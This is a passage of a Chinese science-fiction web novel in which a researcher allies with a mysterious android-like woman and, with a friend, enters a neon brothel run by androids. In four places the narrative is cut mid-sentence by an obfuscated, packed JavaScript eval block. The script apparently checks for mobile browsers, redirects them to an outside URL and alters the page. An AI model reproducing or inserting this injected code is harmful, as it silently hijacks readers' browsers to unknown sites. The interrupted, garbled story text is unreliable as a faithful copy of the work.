“出事了?” “有些复杂,我要先整顿一下。其他的见面再说。” 扬光嗤了一声:“你跟那个艾拉型碰上了吗?” 顾筵一顿:“找到她以后我会说服她一起过去。” “行,就靠你的三寸不烂之舌了。听过这个说法吗?我今天刚刚从禁书上看到的。” 顾筵只在乎安全屋。 扬光骂骂咧咧回到工作:“你再走三英里就能看到掩体了,话说回来今天你的脚程这么慢的吗?换平时你都该能到我这了。” “有点耽搁,我都说了,见面再说。” 颈侧的呼吸声开始忽轻忽重,是艾拉零要醒了。 顾筵匆匆忙忙切断通信。 是温暖的,带着些许刺鼻的焦味,夹杂着潮湿的青苔的气味。 艾拉零的嗅觉先苏醒过来。 随后是听觉,微弱的噼啪声和时不时翻涌过来的热浪。 篝火跳动的光有些刺眼,她重新闭上好一会儿才睁开双眼。 “醒了。”那是个人类男性,肩膀宽厚,此刻浑身都是血污。 本人不太像受了伤的样子,她警觉地动了动肩膀,是失去意识前所没有的清爽。 “我给你贴了止血贴。废了几张才止住。” 艾拉零沉默地解析现状,他们应该是在木屋往北走的山脚。只有这里的地貌会形成有着坚硬石壁的山洞。 顾筵回过头唇角一勾:“幸亏是你,换做我这种一般人,可不是几个止血贴就能搞定的事……” 话音未落,眼前闪过一道残影,他被一股不容抗拒的力量按向地面。 颈部猝不及防被这股力量压制住,被迫中断的呼吸令他不自觉挣扎起来。 “那你就应该清楚我捏死你这种一般人,易如反掌。” 顾筵死死盯着如上位者一般俯视着他的人,他早就意识到了,在绝对的力量压制下,非自然人可以轻而易举地统治自然人。 “我不管你是什么东西,只要你必须遵守《仿生人守则》,你就杀不了我。” “我刚刚已经杀了四个人类卫兵,你觉得我会在意这种东西?” 力道又收紧了一些,顾筵忍不住攀上她的手腕本能地做着无用的挣扎。 无用,那就用有用的法子。 顾筵果决地搭上她的肩,施力—— 止血贴再次被染红,艾拉零忍住了痛呼,力道却松懈了几分。 感到自己重新夺回了呼吸的权利,顾筵抓住空档一拳击在艾拉零的胃部。 艾拉零吃痛弓身,顾筵总算得以解脱出来。 他重重地咳嗽了两声,大口呼吸着新鲜的空气,丝毫不惧地迎向艾拉零的目光。 “你的生命属于你的主人,《守则》给出了特例,在主人受到威胁的情况下你可以反击。所以你的逻辑是这样的,你暴露了,如果你不杀了他们,他们得到的情报就会威胁到洛瑞博士本人。你足够理智,动手前早就已经想好了脱罪的借口。” “分析得不错,所以这套理论对你同样适用。” “不觉得可笑吗?你有和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073039|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类一模一样的生理反应,还会和人类一样流血,却要遵守仿生人的规则。” 艾拉零的目光又冷了几分:“与你何干。”摸向腿侧,匕首果然被卸掉了,她冷静地扫视四周搜索自己能用的东西。 “不用找了,我就是洛瑞博士派过来找你的,杀了我对你没好处。” “我没见过你。” 顾筵自嘲似的笑了一声:“在此之前我没资格罢了,我倒是每天都会见到你的妹妹们。” 艾拉零的目光紧紧盯着他,似乎想从表情上判断他此刻语言中的谎言占比。 “要证明你说的是对的,就对我开放记忆提取权限。” 顾筵第一次冷了脸:“你越界了,我不管你是什么东西,只要你还遵守《仿生人守则》,就明白你不能凌驾于人类之上。” 越权调取人类记忆的确是大忌,就算是人类做这件事也需要层层权限。 艾拉零依旧警惕地盯着他。 “但是我可以给你看这个。”顾筵仿佛被抽空了力气,瘫坐着靠在石壁,右手伸进口袋里取了个物什出来,随意地抛到艾拉零面前。 她认识这个东西,是洛瑞博士随身携带的录音笔。审视的目光又移到顾筵身上。 “听啊,听最后一分钟。听完你不就知道我是谁了。当着我的面放也没关系,反正我全听完了。” 艾拉零伸手去拿录音笔,目光却没有从顾筵身上移开。 她也听了开头,发现是她和测试员的对话时,露出了些微嫌恶的表情,被顾筵精准地捕捉到。 “艾拉,如果你听到这段话,这个男人是带着我对你的关心来找你的,你可以信任他。接下来对我们来说都是一段艰难的时光,你可能会听到我陷入危险之类的消息,不要轻信,他们在引你出来。待在安全的地方,为了我。” 录音笔上的红光闪了两下,说明播放结束了。艾拉零还保持着刚才的姿势一动不动。 顾筵用眼神询问她的最终决定,他已经听到洞穴外那匹阿拉伯狼隐隐哀吼。 “你的计划?”艾拉零用最简单的两个单词问他。 “总之,明天研究中心就会放出我出逃的消息。我们都成了通缉犯,不如去我那里如何?” 艾拉零没有问他他那里是哪里,僵硬地别了别侧颈,脸色终于开始发白。 “你失血过多了,我再给你换止血贴。” 艾拉零面无表情:“拜你所赐。” “你还挺幽默。” 顾筵顿了一下,靠近她将手伸向她的领口,她没有动弹,连眉毛也没抬一下。 他将她的领口解开,沉默地帮她换止血贴。 已经是第二次接触她裸露的肌肤了,和第一次她毫无知觉时不大一样。 比起不自在,他更多的是好奇。 艾拉零究竟是什么? 她像人类,但似乎没有性别差异意识。他好奇此时此刻,艾拉零是觉得他就是一块人肉,还是艾拉零自己就是一块人肉? “你换得这么慢吗?”艾拉零别过头来,他第一次看见她微微蹙起的眉头。 这个表情像极了活生生的人类,他都有些疑惑了。 他故作不在意:“我太熟悉你的脸了,和你的妹妹们长得一模一样。但是只记录过你妹妹们的数据,还没给你上过药。同样一张脸,你懂这种感受吗?” “你在试探我,问我的感受?妈妈给了你这样的权限吗?”艾拉零的声线没有起伏。 5. 老鼠小姐 那一段对话没有继续下去,问太多了容易让艾拉零生疑。 但这个疑问已经在顾筵的心底生了根,这个女人浑身都是迷,他不由自主会将目光停在她身上。 两人刚开灯就出发了。那匹阿拉伯狼就匍匐在洞外的丛林间,远远看见他们出了山洞,站起来伸了个懒腰。 它打量了一下艾拉零周身,显然注意到她已经被妥善处理好的伤口,甩了甩尾巴,头也不回地离开。 “你的新朋友?” 看到艾拉零默默地注视着孤狼离去,顾筵忍不住问道。 “你的问题让我觉得你和大卫交流过我的事情。” “的确。” “我不会只相处一天就交朋友的。” “行吧。” 观察艾拉零的行为模式是一件很有意思的事。说不清楚,顾筵觉得更有可能是这半年每天连续不断的重复工作所致。 终于重新连接通话的扬光舒了一口气:“我还以为你遇袭了!别动不动搞失联!影渡突然出现在基地外头,我还以为是你牺牲了留给我的遗产……” “是出了点问题,影渡的改装尽快做,我会去你那里停几天。” 扬光警觉:“什么意思?你真被偷袭了?受伤了没?” 察觉到艾拉零在身后紧紧盯着他的后背,顾筵左手虚握,咳了一声:“嗯。” “嗯?嗯是啥意思啊嗯??” “见面再说。” 扬光目瞪口呆地看着通信中断的界面:“你爷爷的还是这么没礼貌?!” 顾筵转身,艾拉零也停下来等他接下来的话。 男人只是沉默地从行囊里掏出艾拉零的匕首,递给她。 “扬光很聪明的,伤口太新鲜的话逃不过他的眼睛。你得现在动手。” 艾拉零明白他在说什么:“我以为你会自己动手。” “别太小看我这位朋友,自伤和他伤,他一秒就分辨得出来。” —————— 扬光叼着烟蒂不耐烦地在基地外等着,时不时还要踹两脚周围裸露着的不顺眼的钢管。 “这傻子,该不会走不过我做的矿洞迷宫吧?” 才念叨着,头顶传来脚步声。有两个人。 扬光咬紧烟蒂,舌尖都是苦味。他紧绷着等待着什么。 脚步停下来了,有一瞬间的静寂,然后头顶传来敲击声。 长长短,短短长,短长,长短,长长短。 烟头在此刻燃尽,险些烫嘴,扬光一把吐到地上上脚碾灭,一鼓作气将头顶的闸门拉开。 “活祖宗,你可算来了。敲个密码用这么久?” “问你自己啊,又不是我设置的。你用个短点的词不行吗?”是顾筵的声音,并没有异样,也没有说密语。 “不行,万一你过来的时候我在蹲大号怎么办?”扬光嘴里没个正形,眼睛却不住往闸门外张望。 “你和谁来的?”他仰起头,一股浓烈的血腥味冲散了尼古丁的焦油味呛得他喘不过气,“我靠,你伤这么重?这味道你是把血流干了吗?” 他瞪圆了眼睛看着顾筵一身血渍顺着软梯下来。 才要继续嚷嚷,便见另一个矫健的身影敏捷地从闸门外跃至地面,同样一身血污。 “我靠,你们要死啊!别搞脏我的地方!赶紧的,上药上药,搞什么啊。” 他甚至都没来得及细细打量艾拉零,只在顾筵虚弱地靠在艾拉零肩上时做了一个见鬼了的表情。 “怎么搞的?” “被她连累了呗,还能咋。”顾筵从鼻腔里哼哼出声,痛得不想说话。 扬光光速瞥了一眼一旁面无表情的艾拉零:“你可真敢说啊大兄弟。” “那个什么——这位——” “艾拉。”艾拉零不着痕迹地看了他一眼,报了名字当作自我介绍。 “艾拉小姐,能不能麻烦你再去下一层的杂物间帮我拿那个大桶的消毒酒精?” 艾拉零颔首离去,扬光还不忘朝她喊了声:“下了楼梯往右拐最里面那间。” “攻击性强了点。”顾筵点评道。 扬光作势要下重手,挖苦道:“看来你被打得挺开心啊。” 顾筵眉毛一挑。 扬光用下巴指指他颈上的勒痕。 哦,原来是说这个。 “不是同类,自然要花点功夫才能说服她。” “她。”扬光啧了一下,重复了一遍给他划重点,“行了,别乱动,几个人追杀你们啊,下手这么狠。” 顾筵回忆了一下:“人类加仿生人,七个。” “哦,那还说得过去,人数太少我会以为是她故意不救你。” 顾筵没接话,他知道扬光还在观察他。 “你把一个定时炸弹放身边,迟早把命搭进去。” “那不是炸弹。”顾筵往医药箱里翻了翻,给自己颈上的淤青上药。看不到淤青的具体位置,他干脆胡乱摸了一整脖子,“她是一把刀。一把好刀,对准自己的时候固然难搞;但如果为我所用,那就是所向披靡的利器。” 扬光睨了他一会儿,笑了一下,站起身。 “那我去看看你的预备利器是不是迷路了,一桶酒精拿这么久。” 艾拉零背对着门口,静静站在杂物间中心。 “找个东西这么费劲吗?我听说老鼠们最擅长搜索了。难道是你型号不对?” 扬光的声音带着恶意,艾拉零没有转身,他自己挤进去带着欠扁的笑脸站在她面前。 “我以为你们还要谈很久。你的意思应该是让我站远点别偷听你们说话,我理解错了吗?” “倒是没有。”他突然凑近艾拉零的正脸,鼻息洒在她脸上,带着烟草的味道,“听说老鼠们耳朵也很灵,站在这里听到上面的对话应该也不是难事。” 言辞间充满了火药味,艾拉零半阖着双眼,对此毫无反应。 “没劲。拿着。”他从一旁的架子上摸下来一个备用的医药包。 “我不习惯看女人的裸体,你自己给自己上药吧。顾筵那小子,还以为能瞒过我的眼睛,也不看看老子是谁。” 艾拉零低头看着塞进自己怀里的医药包,并没有伸手去接。 “干什么,真要我伺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073040|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候你上药?还是你以为他那止血贴是什么灵丹妙药?那是应急用的,能盖住你这伤口我都觉得老牛掰了,赶紧换正经绷带,你血比变种牛还多是吧?” 见她终于虚抬了下手,扬光甩手走人。 才走出几步,就听见背后传来轻轻一声。 “谢谢。” 扬光掏掏耳朵,以为自己幻听了。回头发现艾拉零也在回头看他。 “你对我说什么??” 艾拉零歪了歪头,有些疑惑:“这种时候人类不都这么说吗?” 扬光语塞,一咬牙直接三步并作两步上楼梯。 这算什么人啊,仿生人就是仿生人,他都骂老鼠那么难听的词了,她居然一点情绪也没有。 对,就是仿生人,就算会流血……也不过是一个会流血的仿生人! —————— 顾筵伤得比想象中更重,一时间也出不了扬光的基地。 艾拉零对此没有表示过多的意见,包括稍微明显的关心也没有。 扬光暗自摇头。 是人才有鬼了,切。 顾筵此前收集到的资料几乎都是除了艾拉零以外的艾拉系列,并且在不短的时间里,因为艾拉型号一直没有投入量产,他们一致认为调查方向是对的。 “我就说怎么想都不合逻辑嘛,同型号迭代,每次被淘汰的都是新型,反倒是零号一直保留到现在,除了洛瑞博士没有第二个人能接触到具体数据。洛瑞那只老狐狸,太能藏了,关键是人还有手腕,难道自然人都蠢得像寄生虫?只懂繁衍,脑子不带转的?肯定有人怀疑她,但她就有本事把怀疑的声音都按死了。” 扬光给顾筵发的是加密通信讯息。两人低着头你来我往,似乎都忽略了此刻议论的主角正坐在他们的正对面,优雅地喝咖啡。 不,至少顾筵是没有忽略的。 这是他罕见的能直接观察艾拉零的机会。他看她三只手指捏住杯柄,无名指和小指自然的放松,左手托着托碟轻轻靠在膝盖上。双膝并拢靠左,下面是笔直的小腿…… 他收回了目光。 此刻的艾拉零像极了中心塔顶花园中三五成群聚集着浅啜着香浓下午茶的贵族少女。 这种违和感萦绕在顾筵心头久久不散。 “我的姿势有什么问题吗?顾先生。” “哪儿能啊,这种高雅的贵族活动我们这些大老粗是不懂的,尊贵的老鼠小姐,您继续哈。”扬光坐没个正形,看到顾筵朝他投来不赞同的目光,他心安理得翻了个白眼。 “这样好了,”顾筵埋头继续给他发消息,“你一无聊就搞事,给你安排点事情做。” 扬光就是那种闲不下来的人,一听他这么说就来劲了:“尽管提,还没有老子办不下来的事情。” “我的影渡什么时候改好?” “这个嘛……差点火候,但你放心,你伤养好之前绝对完成任务。” “那把我的车换成哑光的。” 扬光差点跳起来,压着火气发过去:“说说为什么吧,我再考虑考虑。” “染上霓虹灯的彩色总让我觉得想吐。” 6. 霓虹茧房 扬光臭着脸冲艾拉零没好气道:“看好了。” 手腕一落一起,西弗斯的金属圆环一声脆响,紧接着暴跳如雷的声音响彻基地。 “瞧瞧你干的好事儿!瞧瞧啊,瞧瞧啊!博士对你太失望了,你!与自然人类为伍!” “闭嘴,西弗斯。” 扬光耳朵都要炸了:“他一直这样吗?” 艾拉零:“K902,性格差了一点,业务能力优秀。” 西弗斯还在骂骂咧咧:“你对我做了什么?非法改造!一定是非法改造!” “不好意思啊,”扬光悠闲地呲着大牙,“我法盲,修改屏障代码犯法吗?” 顾筵看着艾拉零检查西弗斯的代码和基础零件,西弗斯还在骂。 “你知道吗,你现在的行为和剥光我的衣服没有区别!你让我用这个姿态示人!不可饶恕!” “一堆零件而已,只有机械狂会用那种眼光看你。” 扬光本想保持臭脸,但艾拉零的举动实在引他好奇,凑过去问:“你找什么呢?” 艾拉零突然回头,他才意识到自己太过靠近,踉跄着退了一步。 “对比代码,之前的代码看来不是你修改的。” “啊?”扬光抓抓脑袋,“怎么还打哑谜啊?” 顾筵收回目光:“我不联系继续使用它,王室能修改代码,也能修改硬件。” 艾拉零摇摇头:“我需要他。” 顾筵注意到了她的用词,忍不住问:“这也是朋友吗?” 艾拉零抬头有些疑惑地看向他几秒,语气平缓:“当然。” “你的评价标准到底是什么?” 艾拉零回答:“我们出生入死。” (西弗斯喘着粗气:“出生入死!说得好听!”) 扬光没好气地按住西弗斯想强行关机,西弗斯大叫:“顾筵!顾筵!研究中心助理研究员!扬光!扬光!你算个什么东西!” “满嘴喷的啥?!”扬光也陪了个破口大骂,按住西弗斯躁动的躯体强行关闭。 艾拉零瞥了顾筵一眼:“我也好奇,你是妈妈派来的,那他呢?”她看向扬光,“我猜妈妈一定不知道他的存在,对吧。” 扬光反唇相讥:“跟你有关系吗?你合作的是顾筵,我搭档的是顾筵,而我们之间,你和我,”他指指自己又指指艾拉零,“仅仅只是在同一个空间里。哦,如果你可以呼吸的话,我们倒是还呼吸同一个地球的空气。” 他伸手就作势去探艾拉零的鼻息,被她一手刀打掉。 扬光不过是做做样子,从第三代仿生人劳拉开始模拟呼吸的技术就已经成熟了。那时候是作为儿童陪伴型伙伴推出的,目的是为了最大程度削减孩子和家长对于拟人物体的恐惧。 顾筵在一旁思忖良久,久到甚至没有心情去打断扬光嘴欠。 他突然发声:“我要去王室中心塔,如果可以,我希望你能助我一臂之力。” 艾拉零:“我能问为什么吗?” “互通有无是信任的基本前提,你只要有疑问,我知无不言——”他举起从西弗斯的零部件里找到的一枚精巧的芯片,“看看这上面写着什么。” 艾拉零接过来,正反面都翻了一遍。 哑光质感的墨绿色玻璃纤维板能隐隐看到内部的方阵结构,已经切断了电路,似乎没有什么威胁性。但引人注意的果然还是外面那行字。 ChronoCore。 艾拉零摇摇头:“没有见过。” “在你朋友的身体里被找到,你不好奇吗?” 扬光似乎想到了什么,目光在二人之间逡巡一圈,倒是一反常态地闭上了嘴。 艾拉零思索片刻,轻微但坚定地点了头:“你的伤什么时候好,我们什么时候出发。” “出发?你是说去哪儿?”扬光语气奇怪。 艾拉零坦然回答:“王室中心塔,北纬48.8度,东经2.3度。” “等等,”扬光一阵头疼,“我以为你很聪明来着?你该不会觉得你的ID卡还能用吧?” “当然不能,”艾拉零极少做表情,但扬光发誓她现在脸上写着“你是白痴吗”这句话,“但闸机可以暴力拆解,其实不难。” 扬光心里听得哇凉哇凉的。 呵呵,好一个不难。 他脑海里已经能浮现艾拉零搬了个电磁脉冲把中心塔的电子设备瘫痪后一个纳米侵蚀弹把那破地方夷为平地的恐怖画面。 “暴力拆解不可取,你的出现很可能会威胁到博士,难道你没想过吗?”顾筵道。 “我考虑过七种方案,依然觉得暴力拆解能最快达到目标。” 顾筵双手抱胸:“我的方案也许你可以听听,但成功率与你息息相关。” “取决于我的什么?” “取决于你能不能足够像一个自然人。” —————— 霓虹茧房位于中心区的南部高墙外,刚出城艾拉零就退了一步。 顾筵和扬光没什么反应。 扬光回头看了看她在后面几步之遥站定的样子,咧嘴笑了。 “怎么,难道你没见过中心区外面的光源?还是你以为地球上的灯都一样?” 如今的地球已经一片水深火热的熔炉,大部分人都困于其中。 顾筵默默地等她的反应。 扬光还在叨叨:“人分三六九等,所以人能照的光也分三六九等。” 他转身自顾自地朝着前方的废墟走去。 昏暗的光打下来,像是辉煌的中心区身后的一片阴影。 植被难以覆盖这片土地,只有一些暗流出有些青苔。 “早让你不要用滑轨通道了,你那破影渡,没有通道的地方又用不了。”扬光啐了一声,哀哀吼道,“腿要断了。” 他们走的是小路,时不时能从废墟的狭缝中看见大道上来往的灯火通明的马车。 “我们也应该租一辆的。” 无人回应。 “我说,你们俩谁理理我?” 依旧沉寂。 “无趣。” 其实远没有扬光抱怨得远,只是层层叠叠的废墟遮盖了视线,等到视野重新开阔,霓虹闪烁着的三层红砖建筑出现在众人眼前。 “霓虹茧房。”扬光吹了吹口哨,“名副其实吧。” 门口站着一名妖娆的女子,朝站在最前面的扬光风情万种地挥了挥手。 几人走近,艾拉零锁定了她锁骨上的条码。 克里斯塔T022。 “先生,指名吗?” 扬光嬉皮笑脸:“指啊!哦,”突然想起来似的,摸遍了全身口袋,找出一张皱巴巴的纸,“克里斯塔A209。” T022闻言,抬起狐媚的眼眸看向扬光身后的顾筵和艾拉零。 她在艾拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073041|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零身上停留的时间有些久。 顾筵云淡风轻地揽过艾拉零,T022这才收回目光。 “这位小姐有些面善,是我冒犯了。客人们,请随我来。” 霓虹茧房的第一层乌烟瘴气得可以,各种面色阴沉苍白的人慢吞吞地走着走着。形容枯槁的瘦长身影靠在角落吞云吐雾,T022领着他们经过这些人,偶尔有几个抬头漠然看一眼,大多数人都视而不见,沉溺在自我的享乐中。 “别在意他们,当不存在就好了。”T022慢吞吞地当着众人的面对顾筵等人说。 “A209,找你的。” 房间里另一名克里斯塔在抽着水烟。 “欢迎,我的客人们。” 她又抽了一口。 顾筵将一叠纸币放到她面前:“这是你的报价的两倍,我再翻了一倍。” A209换了个坐姿。 “为什么?” “我了解到你一单只做一个ID卡。” “我喜欢这种花功夫了解我的男人。”A209含笑点了点烟杆。 “看这个数目,你是要做两张?”她的目光一转,“谁和谁的?” 艾拉零往前半步。 A209啧啧两声:“你们人类喜欢在这么刺激的地方约会?” 顾筵漫不经心道:“偶尔吧。” “这单我可以接两张,但我只收原价。”A209的葱葱玉指取了一半推回去。 “不过加个码也不是不行。”她笑意盈盈地看着艾拉零,“这位小姐告诉我,这杆水烟是什么味道的?我惦记了好久,抽是抽上了,但我们没有嗅觉。” 还没等三人做反应,她伸出食指摇了摇,“可千万别同情我们,在霓虹茧房,没嗅觉再好不过了,听说那些老男人,味道一个比一个冲。” 她明媚地笑了,和言语形成鲜明的对比。 A209的烟杆收在脸侧,艾拉零淡淡地上前俯下身,靠得就快贴上去才嗅得到烟杆。 扬光见鬼似的看着A209的眼神黏腻在艾拉零脸上。 艾拉零这才退后:“不同的烟草调味不同,你这一杆远远闻只有薄荷味,但是凑近了能闻到香草混着焦糖的甜。是中心区的东西,价格不菲,贵族少女们不少人偏爱这个味道。” “太棒了,那老男人果然没骗我。” A209又来了一口。 “这单我接了,你们随处逛逛,别去顶层打扰贵人们就好。” 出门后扬光摸了摸自己一胳膊的鸡皮疙瘩。 “这个型号的仿生人不会是服务女贵族的吧,靠。” 艾拉零看了他一眼:“出厂设置很统一,克里斯塔型是专门用于红灯区服务的,刚刚如果凑近的是你,她也会那样看你。不过我的信息库可以更新了,扬光没接触过克里斯塔型。” 扬光不敢相信自己的耳朵,朝顾筵压低声音喊:“我靠,她嘲笑我?你听见没?她嘲笑我!” 顾筵不语,但扬光总觉得他的表情管理也不太到位,莫名地欠揍。 又一名克里斯塔从他们身边经过,多看了艾拉零两眼。 扬光不可能忽视这个问题,紧张地问:“你来过?” 艾拉零摇摇头。 “你当我傻是不?她们那样子明显见过你!你故意坑我们呢?” 艾拉零停下来:“我以为人类合作的先决条件是坦诚和信任。” 7. 323 扬光像是在无时不刻不抓住机会嘲讽艾拉零两句,T022过来时他已经恢复正常了。 “抱歉让各位久等了,A209说可能会等得比较久,不如我送几位去休息室坐坐。” 艾拉零上前半步,被顾筵从身后轻轻拽住。 “不如让我们四处逛逛?我弟弟没来过,想带他开开眼界。” 扬光听见顾筵的托辞,眼角抽搐了一下。 “这……” T022没有过多迟疑,头往左微微摆了一下。 那是要拒绝的意思? “我们如数付款,这本来就是营业场所,不是吗?” T022停住,似乎在甄别三人的进入资格。 “三位的通行证只能到二十层,请随身携带,以便A209能及时通知各位。” 扬光摇摇手中的三张卡片,朝T022挤了挤眼睛,作势要全放进自己口袋里。 T022不语,只是目光紧紧锁定在他握着票的手上。 扬光挺好奇接下来会发生什么,可惜吃了顾筵一记眼刀,悻悻地把另外二人的通行证塞过去。 “呼叫时通行证会发热,什么都不做待在原地即可,我们的人会去接你们。希望你们玩得愉快。” T022温婉地笑了笑,扭着妖娆的腰身消失在走廊的拐角。 扬光长呼一口气,艾拉零瞥见他的反应,问:“有其他计划?” “啥计划啊,观光呗。”扬光没好气地松了松领口。 顾筵凉凉道:“观光你还不买全票?” 扬光呲牙傻笑:“能省点是一点,这不主要目的也达到了吗?” “那你教我怎么去顶层?” “这个嘛……” 艾拉零朝顾筵看过去,知道她会问什么,顾筵先开口。 “中心区的贵族们都是去顶层的。” “人上人的地盘。”扬光讽刺道。 接着,顾筵捕捉到了艾拉零极为微小的挑眉动作,他紧紧盯着她的眉眼。 “那里的客人一定知道博士的现状,我想你应该也很担心,对于人类来说,这是人之常情。” “或许是,但妈妈给我的留言你也听过了。她希望我隐蔽起来。” 顾筵耸耸肩:“好吧,你可以不在乎,但别忘了我是受博士所托才来找你的,我和她断了联系,就意味着我无法确认下一步行动。” 艾拉零抬头直视顾筵的眼睛。不知为何,沐浴在这明明没有带任何情感的目光中,他却感觉在被她一层层剥掉外壳,审视内里。 她当然不是仿生人,从她的沉默中他已经得到了答案,但她是人类吗? 接受了洛瑞博士的某种人体实验的得意之作,他曾如此猜测。 可此时此刻他感觉艾拉零更像一名审判者。 他是罪人。 —————— 他们和A209谈话所在的二楼算是霓虹茧房的大厅和会客室,楼层低了些,但胜在内里构造弯弯绕绕得极其隐蔽,安全性反而提升不少。越往上走,装修也从潦草敷衍的灰色金属内壁照晒霓虹到20楼电梯口摆放的精致天使雕像。 扬光摸索了一阵也没有发现新的按键,啐了一口:“说只给到20楼就真只到20楼啊。” 顾筵跨出电梯,皮靴落在柔软厚重的地毯上,脚步声被悉数吸收,安静得好像世界给人罩了个厚厚的耳罩。 这一层更像私人包间,电梯外两侧都是看不到尽头的长廊,长廊两侧是一扇扇状似棺椁的沉重的大门。 肉眼看像是木质的,但让人本能地抗拒去触摸确认它的真实内在。 扬光吹了声口哨:“我发现有扇门不太一样。” 顾筵看了一眼长廊蜿蜒的远方:“你该不会以为这儿和旧文明一样有安全通道吧。” “都和旧文明一样有红灯区了,怎么不可能?” 艾拉零在两人身后,幽幽说道:“霓虹茧房是没有阶梯式结构的。” 扬光跳起来,似乎就在等着这句:“你怎么知道?你不是说你没来过吗?” “联邦王室图书馆地下一层北侧,书架编号X-15,最下面一层从左往右数第三本。书名叫《象征之城:联邦王室建筑巡礼》,你可以在第890页到第892页找到关于霓虹茧房的详细介绍。” 扬光和顾筵的呼吸声似乎也被这个静谧的空间吸收了。 “怎么,你只对旧文明的书感兴趣吗?” 扬光拿后脑勺冲着她,重重哼了一声:“你要继续在这浪费时间,我倒是没意见。” 顾筵道:“既然你们都没有什么更好的办法,那还是听我的吧。” …… “我倒是情愿自己没听你的。”扬光等着躺在地上已经失去知觉的两个人类。 从衣着看来必然出身贵族,至于领口的章纹,应该是某个家族的家徽。 “时间沙漏,这个图纹是中心区的费伦家,我认为这样风险太大。” 一根细线仿佛无意识地勾勒出类似无限符号的图形,隐隐有个沙漏的影子。 “在他们醒过来之前还回去不就行了。倒是你们的,拿来。”扬光一脸无所谓地朝他们两人勾勾手。 三张通行证到手,扬光朝他们晃了晃:“我去看看有没有和我合得来的克里斯塔,没准看对眼了我会常来的。” “认识路?” 扬光垮下脸:“小看我了吧,兄弟。” —————— 霓虹茧房除了通行证也不需要其他具有个人生物特征的信息确认了。 如果你敢提出这个要求,贵族们立马会让你身首异处的。 刷第三次卡的时候,顾筵记住了李·费伦的脸。 他看向艾拉零精致的侧脸,她正抬头看着老式电子屏显示的楼层。 “你认识费伦家的人?” 刚才她并没有翻动两位费伦的身体,对他们的身份好像也不感兴趣。 “不知道你对‘认识’的定义是什么。我会学习王室贵族的所有资料,记住他们所有人的脸。” 顾筵点点头:“酷。但是你的回答不太像人类的回答。” “人类是会进步的生物,我也会。” 顾筵琢磨着这句话,轻笑了声:“所以你可以和人类划等号吗?” 艾拉零忽然转过头:“既然我们现在是队友,那你大可不必如此试探。” “我激怒你了?” 艾拉零沉默良久,才说:“我应该说是。” 的确,人类在这种情况下,愤怒是正常情绪。 电子屏在经过25层以后就已经不运转了,一直颤抖地闪烁着诡异的红光,顾筵有些耳鸣。直到电梯再次挺稳,耳边的轰鸣声消失了,电子屏显示了一个字母R。 “这是第几层?”顾筵有些惊讶。 “根据我的计算,是323层,受遮蔽罩的影响,你大概率要和你的兄弟断联了。” 顾筵取出加密通信装置,果然成了一块毫无反应的砖头。 “但好消息是对人体的影响几乎为零。” 电梯门缓缓开启,两人再次踏入另一片未知。 但几秒之后,顾筵就意识到这只是一个普通得不能再普通的空间,就像他潜伏过的贵族酒会一样,道貌岸然的贵族,依偎在他们身旁的克里斯塔们,或是舞动,或是苟且,他们用自己喜欢的方式狂欢,这里是肆意妄为的温床。 室内没有霓虹,只有偏黄的灯光和舒缓的旧文明轻音乐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073042|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 旧文明的一切是他们茶余饭后的消遣,顾筵紧紧握起拳头,朝艾拉零使了个眼色。 艾拉零接收到了信号,无比自然地挽起他的臂弯。 他们朝舞池中心走去。 一位贵族身边伴着一名不似克里斯塔的舞伴,经过他们的身边,吹了个口哨:“同类,你也认同这样很愉快,是吧。” 舞伴咯咯地笑:“肖恩,不要消遣这名可怜人了,他来一趟这里不容易。” 诚然,顾筵一身雇佣兵式的工装在此处有些格格不入了。 贵族解围道:“伙计,你不要介意她口出狂言,她生下来就只知道花钱,没怎么读过书。” 顾筵回以彬彬有礼的微笑:“显而易见。” 不远处一阵骚动,四人从面面相对着被动静吸引过去。 “贱人,不识好歹!” 一名女性被打翻在地,她和克里斯塔们穿着同样的装束,将曼妙的身材凸显得淋漓尽致,可捂着脸抬起头来却是一副顾筵没有见过的面孔。 —————— 